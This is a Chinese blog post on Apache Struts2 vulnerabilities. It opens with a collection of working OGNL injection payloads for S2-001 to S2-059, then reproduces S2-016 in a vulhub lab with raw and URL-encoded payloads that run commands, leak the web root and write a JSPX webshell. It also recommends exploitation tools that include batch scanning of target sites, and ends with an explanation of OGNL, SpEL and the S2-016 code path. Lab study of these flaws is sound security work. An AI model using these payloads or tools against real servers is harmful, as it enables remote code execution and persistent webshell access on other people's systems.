Struts2漏洞

一、漏洞

S2-001

该漏洞是由于WebWork 2.1+ 和 Struts 2 的"altSyntax"特性引起的。“altSyntax"特性允许将OGNL表达式插入文本字符串并进行递归处理。这允许恶意用户通过HTML文本字段提交一个包含OGNL表达式的字符串,如果表单验证失败,服务器将执行该表达式

影响版本
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

payload

%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }

S2-003 和 S2-005

漏洞触发源于ParameterInterceptor拦截器中,可通过构造参数绕过正则限制从而执行ognl表达式

影响版本
Struts 2.0.0 - Struts 2.1.8.1

payload

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(t)(c)&('\u0023test\u003d@java.lang.Runtime@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(a)(b)

S2-007

当配置了验证规则<ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析,从而造成远程代码执行

影响版本
Struts 2.0.0 - Struts 2.2.3

payload

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

S2-009

ParametersInterceptor拦截器只检查传入的参数名是否合法,不会检查参数值。因此可先将Payload设置为参数值注入到上下文中,而后通过某个特定语法取出来就可以执行之前设置过的Payload

影响版本
Struts 2.0.0 - Struts 2.3.1.1

payload

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('open /System/Applications/Calculator.app'))(meh)

S2-013

包含特制请求参数的请求可用于将任意 OGNL 代码注入堆栈,然后用作 URL或A标记的请求参数,这将导致进一步评估
当 URL/A 标记尝试解析原始请求中存在的每个参数时,会发生第二次评估。
这使得恶意用户可以将任意 OGNL 语句放入任何请求参数中(不一定由代码管理),并将其计算为 OGNL 表达式,以启用方法执行并执行任意方法,从而绕过 Struts 和 OGNL 库保护

影响版本
Struts 2.0.0 - Struts 2.3.14.1

payload

`${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('open /System/Applications/Calculator.app')}`

S2-016

在struts2中,DefaultActionMapper类支持以action:、redirect:、redirectAction:作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

影响版本
Struts 2.0.0 - Struts 2.3.15

payload

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“uname -a”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

S2-045

在使用基于Jakarta插件的文件上传功能时,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响版本
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

payload

  "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

S2-053

Struts2在使用Freemarker模板引擎渲染用户输入时,渲染后的ognl表达式可被执行

影响版本
Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10

payload

`%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A`  
[](https://storage.tttang.com/media/attachment/2022/05/04/86456389-f545-44b6-bdff-01908ee0bb5d.png)

S2-059

Struts2 会对某些标签属性(比如id,其他属性有待寻找)的属性值进行二次表达式解析,当这些标签属性中包含了%{xx}且xx用户可控,则在渲染该标签时可造成ognl表达式执行。

影响版本
Struts 2.0.0 - Struts 2.5.20

payload

`%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A`<sub>~</sub>~  
[](https://storage.tttang.com/media/attachment/2022/05/04/94dd3f95-7b2d-4096-9bc2-d85e0299ed8b.png)

因为S2-016非常的经典,所以我这次来复现S2-016

二、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
在这里插入图片描述

2、安装docker-compose

pip install docker-compose
![[Pasted image 20240122203114.png]]

3、gitvulhub镜像

git clone https://github.com/vulhub/vulhub.git
![[Pasted image 20240122203343.png]]

4、进入指定目录启动环境

cd vulhub/struts2/s2-016
docker compose up
![[Pasted image 20240122203643.png]]

安装完后环境就启动了
访问http://IP:8080/index.action
![[Pasted image 20240122203904.png]]

三、漏洞复现

S2-016

影响版本

Struts 2.0.0 - Struts 2.3.15

1、复现过程

访问http://ip/index.action?redirect:OGNL表达式即可执行OGNL表达式
uname -a

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“uname -a”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

解释

1. `redirect:${...}`:这是一个 OGNL 表达式,用于在 Struts 2 框架中重定向到某个页面或处理。
2. `${#context["xwork.MethodAccessor.denyMethodExecution"]=false,...}`:这行代码检查一个名为 `xwork.MethodAccessor.denyMethodExecution` 的上下文参数是否为 `false`。如果是,则执行后面的代码。
3. `#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")`:使用 Java 反射获取 `_memberAccess` 对象的 `allowStaticMethodAccess` 字段。
4. `#f.setAccessible(true)`:设置 `allowStaticMethodAccess` 字段为可访问。
5. `#f.set(#_memberAccess,true)`:将 `_memberAccess` 对象的 `allowStaticMethodAccess` 字段设置为 `true`。
6. `#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream()`:执行命令 `uname -a` 并获取其输入流。
7. `#b=new java.io.InputStreamReader(#a)`:将上面的输入流转换为一个 InputStreamReader 对象。
8. `#c=new java.io.BufferedReader(#b)`:将 InputStreamReader 对象转换为一个 BufferedReader 对象。
9. `#d=new char[5000]`:创建一个字符数组,长度为 5000。
10. `#c.read(#d)`:从 BufferedReader 对象中读取数据到字符数组 `#d` 中。
11. `#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()`:从上下文中获取 HttpServletResponse 对象,并从中获取 writer。
12. `#genxor.println(#d)`:将读取的数据写入到响应中。
13. `#genxor.flush()`:刷新 writer 的输出缓冲区。
14. `#genxor.close()`:关闭 writer。

使用之前需要将poc进行一次url编码

%72%65%64%69%72%65%63%74%3a%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%75%6e%61%6d%65%20%2d%61%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%23%64%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29%7d

成功
![[Pasted image 20240122210236.png]]

获取web目录

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

url编码

%72%65%64%69%72%65%63%74%3a%24%7b%23%72%65%71%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%27%2b%27%6d%2e%6f%70%65%6e%27%2b%27%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%27%2b%27%72%6b%32%2e%64%69%73%70%27%2b%27%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%27%2b%27%76%6c%65%74%52%65%71%27%2b%27%75%65%73%74%27%29%2c%23%72%65%73%70%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%27%2b%27%6d%2e%6f%70%65%6e%27%2b%27%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%27%2b%27%72%6b%32%2e%64%69%73%70%27%2b%27%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%27%2b%27%76%6c%65%74%52%65%73%27%2b%27%70%6f%6e%73%65%27%29%2c%23%72%65%73%70%2e%73%65%74%43%68%61%72%61%63%74%65%72%45%6e%63%6f%64%69%6e%67%28%27%55%54%46%2d%38%27%29%2c%23%6f%74%3d%23%72%65%73%70%2e%67%65%74%57%72%69%74%65%72%20%28%29%2c%23%6f%74%2e%70%72%69%6e%74%28%27%77%65%62%27%29%2c%23%6f%74%2e%70%72%69%6e%74%28%27%70%61%74%68%3a%27%29%2c%23%6f%74%2e%70%72%69%6e%74%28%23%72%65%71%2e%67%65%74%53%65%73%73%69%6f%6e%28%29%2e%67%65%74%53%65%72%76%6c%65%74%43%6f%6e%74%65%78%74%28%29%2e%67%65%74%52%65%61%6c%50%61%74%68%28%27%2f%27%29%29%2c%23%6f%74%2e%66%6c%75%73%68%28%29%2c%23%6f%74%2e%63%6c%6f%73%65%28%29%7d

![[Pasted image 20240122210344.png]]

写入webshell 1.jspx

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

url编码

%72%65%64%69%72%65%63%74%3a%24%7b%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%66%61%6c%73%65%2c%23%66%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%29%2c%23%66%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%66%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%61%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%71%75%65%73%74%22%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%4f%75%74%70%75%74%53%74%72%65%61%6d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%42%75%69%6c%64%65%72%28%23%61%2e%67%65%74%52%65%61%6c%50%61%74%68%28%22%2f%22%29%29%2e%61%70%70%65%6e%64%28%40%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%40%73%65%70%61%72%61%74%6f%72%29%2e%61%70%70%65%6e%64%28%22%31%2e%6a%73%70%78%22%29%2e%74%6f%53%74%72%69%6e%67%28%29%29%2c%23%62%2e%77%72%69%74%65%28%23%61%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%74%22%29%2e%67%65%74%42%79%74%65%73%28%29%29%2c%23%62%2e%63%6c%6f%73%65%28%29%2c%23%67%65%6e%78%6f%72%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%22%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%22%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%67%65%6e%78%6f%72%2e%70%72%69%6e%74%6c%6e%28%22%42%49%4e%47%4f%22%29%2c%23%67%65%6e%78%6f%72%2e%66%6c%75%73%68%28%29%2c%23%67%65%6e%78%6f%72%2e%63%6c%6f%73%65%28%29%7d

![[Pasted image 20240122210656.png]]

2、工具推荐

将目标url放入红框点击验证漏洞就行了
![[Pasted image 20240122231327.png]]

验证结果
![[Pasted image 20240122231629.png]]

在右上角选择漏洞编号在命令执行处点击执行就完成了
![[Pasted image 20240122231907.png]]

还可以进行批量验证
![[Pasted image 20240124183416.png]]

下载链接:https://github.com/fengziHK/st2
下载地址
https://github.com/prakharathreya/Struts2-RCE
![[Pasted image 20240125022714.png]]

添加插件位置
![[Pasted image 20240125022804.png]]

点击add添加插件
![[Pasted image 20240125022833.png]]

点击select file选择刚刚下载插件的位置
![[Pasted image 20240125022931.png]]

然后选择next
![[Pasted image 20240125023029.png]]

添加成功
![[Pasted image 20240125023051.png]]

访问可能存在漏洞的网址http://xxx,打开自带浏览器,拦截不用打开,BurpSuite有自动扫描功能
![[Pasted image 20240125023323.png]]

进入菜单Target项,全选contents,右击扫描漏洞
![[Pasted image 20240125024138.png]]

进入菜单Struts Finder查看扫描结果
![[Pasted image 20240125024239.png]]

四、漏洞分析

OGNL表达式

1、OGNL是什么?

先来看一个例子:

Class SchoolMaster{
    String name = "wanghua";
}

Class School
{
    String name = "tsinghua";
    SchoolMaster schoolMaster;
}

Class Student
{
    String name = "xiaoming";
    School school;
}

创建实例学校school = new School()、学生student = new Student()和校长schoolMaster = new SchoolMaster(),将学校校长指定为schoolMaster实例-school.schoolMaster = schoolMaster,学生的学校指定为school实例-student.school = school,那么三者就连接起来了形成了一个对象图,对象图基本可以理解为对象之间的依赖图。通过对象图我们可以获取到对象的属性甚至对象的方法。

那么OGNL就是实现对象图导航语言,全称Object-Graph Navigation Language。通过它我们可以存取 Java对象的任意属性、调用 Java 对象的方法以及实现类型转换等。

2、OGNL三元素

OGNL基本使用方法示例:

// 创建Student对象
School school = new School();
school.setName("tsinghua");
school.setSchoolMaster(new SchoolMaster("wanghua"));
Student student1 = new Student();
student1.setName("xiaoming");
student1.setSchool(school);
Student student2 = new Student();
student2.setName("zhangsan");
student2.setSchool(school);

// 创建上下文环境
OgnlContext context = new OgnlContext();
// 设置跟对象root
context.setRoot(student1);
context.put("student2", student2);
// 获取ognl的root相关值
Object name1 = Ognl.getValue("name", context, context.getRoot());
Object school1 = Ognl.getValue("school.name", context, context.getRoot());
Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());
System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);
// 获取ognl非root相关值
Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());
Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());
System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);

输出结果:

xiaoming:学校-tsinghua,校长-wanghua
zhangsan:学校-tsinghua,校长-wanghua

不难看出,OGNL getValue需要三元素:expression表达式、context上下文及root对象。那么什么是三元素:

expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作;
context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。

在上面示例中,根对象是student1实例,context中设置了根对象和非根对象student2,表达式有name、school.name、school.schoolMaster.name和student2.name、#student2.school.name、student2.school.schoolMaster.name,前三个是通过表达式获取root也就是student1对象的相关属性,后三个是通过表达式获取容器变量student2对象的相关属性。

3、OGNL表达式语法

符号的使用:
在上一部分我们已经接触了.和#符号在表达式中的使用,通过.可以获取对象属性,#可以获取非root的Student对象。

OGNL表达式支持Java基本运算,所以运算符+、-、*、/、%等在OGNL都是支持的,另外还支持in、eq、gt等。

除了基本运算符,.、@、#在OGNL中都有特殊含义。

1、通过.获取对象的属性或方法:

student
student.name
student.school
student.school.name
student.takingClasses("英语")

2、三种类型对象的获取:
静态对象、静态方法和静态变量:@

@java.lang.System@getProperty("user.dir")
@java.lang.Math@abs(-111)

非原生类型对象:#

#student.name
#student.takingClasses("英语")

简单对象:直接获取

"string".lenth
5
true

3、%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
4、$在配置文件中引用OGNL表达式。

集合表达式:
new创建实例:

new java.lang.String("testnew")

{ }和[ ]的用法:
在OGNL中,可以用{ }或者它的组合来创建列表、数组和map,[ ]可以获取下标元素。
创建list:{value1,value2…}

{1,3,5}[1]

创建数组:new type[]{value1,value2…}

new int[]{1,3,5}[0]

创建map:#{key:value,key1:value1…}

#{"name":"xiaoming","school":"tsinghua"}["school"]

除了一些符号和集合,还支持Projection投影和Selection选择等,具体可参考官方文档:https://commons.apache.org/proper/commons-ognl/language-guide.html 附录Operators部分。

SPEL表达式

1、什么是SPEL

SPEL(Spring Expression Language),即Spring表达式语言,比JSP的EL更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。

2、表达式语言

上面说了spel是一种表达式语言,那么什么是表达式语言呢?
表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。
我们可能还接触过类似的语言,如EL,OGNL。
EL:常用语JSP页面,简化JSP页面的操作
OGNL:struts中常见

3、SPEL的常用功能

从官方文档上可以看到SPEL支持下面的功能:

Literal expressions:文字表达式
Boolean and relational operators :布尔和关系运算符
Regular expressions:正则表达式
Class expressions:类表达式
Accessing properties, arrays, lists, maps:访问属性,数组,列表...
Method invocation:使用方法
Relational operators
Assignment
Calling constructors:调用构造方法
Bean references:Bean表达式,如果已使用 Bean 解析程序配置了评估上下文,则可以使用 (@) 符号从表达式中查找 Bean。
Array construction
Inline lists
Ternary operator
Variables:变量表达式
User defined functions:定义方法
Collection projection
Collection selection
Templated expressions:模块化表达式

SPEL是一种非常强大的表达式语言,从上面可以看出,它支持众多的操作,这些操作我们不必全部掌握,只要掌握与安全相关的

4、SPEL基本用法

接下来来学习一下SPEL的基本用法
如下面代码所示,首先通过SpelExpressionParser创建解析器,然后传入要评估的表达式,最后通过getValue执行表达式来获取最后的结果。

ExpressionParser parser = new SpelExpressionParser(); //创建解析器
Expression exp = parser.parseExpression("'Hello World'"); //传入需要评估的表达式
String message = (String) exp.getValue(); //执行表达式,然后获取值

上面说的比较简单,其实在很多情况下,评估表达式需要设置上下文,执行表达式时从上下文中取值。
上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值。
SpEL在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
如下,设置上下文时的操作

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 
EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin 
String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式

5、SPEL语法

SpEL使用 #{…} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

利用链调用过程

![[Pasted image 20240124182744.png]]

漏洞出现在lib/struts2-core-2.2.3.jar/org.apache.struts2.dispatcher.mapper.DefaultActionMapper类中,它是ActionMapper的实现类
![[Pasted image 20240124182641.png]]

经 org.pache.struts2.dispatcher.FilterDispatcher 的doFilter方法拦截用户请求,doFilter 创建值栈 、上下文 、包装request 等一些初始化操作,然后进入 DefaultActionMapper 的 getMapping() 方法。
![[Pasted image 20240123153437.png]]

![[Pasted image 20240123153441.png]]

首先创建一个ActionMapping,然后对请求的url进行处理,解析对应的action配置信息,如去掉请求的url后缀名.action
![[Pasted image 20240124182917.png]]

通过uri 解析对应action的namespace 、actionname 等配置信息。再进入handleSpecialParameters 方法处理请求参数。在handleSpecialParameters 中通过parameterAction.execute(key, mapping);进入DefaultActionMapper处理相应逻辑。
![[Pasted image 20240124182941.png]]

![[Pasted image 20240123153453.png]]

redirect.setLocation(key.substring(“redirect:”.length()));将请求参数redirect:后的内容设置为location,此时key值为redirect:ognl表达式,即ognl表达式被设置为location,然后将该ServletRedirectResult类型且location为ognl表达式的redirect对象设置为该mapping的Result。然后关注location的值是如何被执行的。 逻辑回到FilterDispatcher的doFilter方法,通过this.dispatcher.serviceAction进入Dispatcher的serviceAction方法继续。
![[Pasted image 20240124183040.png]]

![[Pasted image 20240123153512.png]]

serviceAction方法先获取Configuration对象,然后通过Configuration得到容器对象,再从容器中获取ActionProxyFactory工厂类创建ActionProxy动态代理。
![[Pasted image 20240124183108.png]]

通过mapping.getResult();获取该mapping的result对象,也就是上面的ServletRedirectResult类型且location为ognl表达式的redirect对象。进入ServletRedirectResult的execute方法,一直跟踪到org.apache.struts2.dispatcher.StrutsResultSupport的execute方法。可见通过conditionalParse()方法处理location,conditionalParse用于处理跳转地址location,会判断location是否有ognl表达式,最后经TextParseUtil.translateVariables()里的stack.findValue(var, asType),从而执行location中的ognl表达式。
![[Pasted image 20240123153522.png]]

![[Pasted image 20240124183213.png]]

![[Pasted image 20240122210236.png]]

五、参考文章

https://xz.aliyun.com/t/10482?time__1311=mq%2BxBDyDcDn7DQYDsNoxZD9lBKGQNzi4D&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-1
https://www.freebuf.com/articles/web/365408.html
https://vulhub.org/#/environments/struts2/s2-016/
https://tttang.com/archive/1583/
https://taomujian.github.io/2021/05/14/S2_016/

  • 18
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值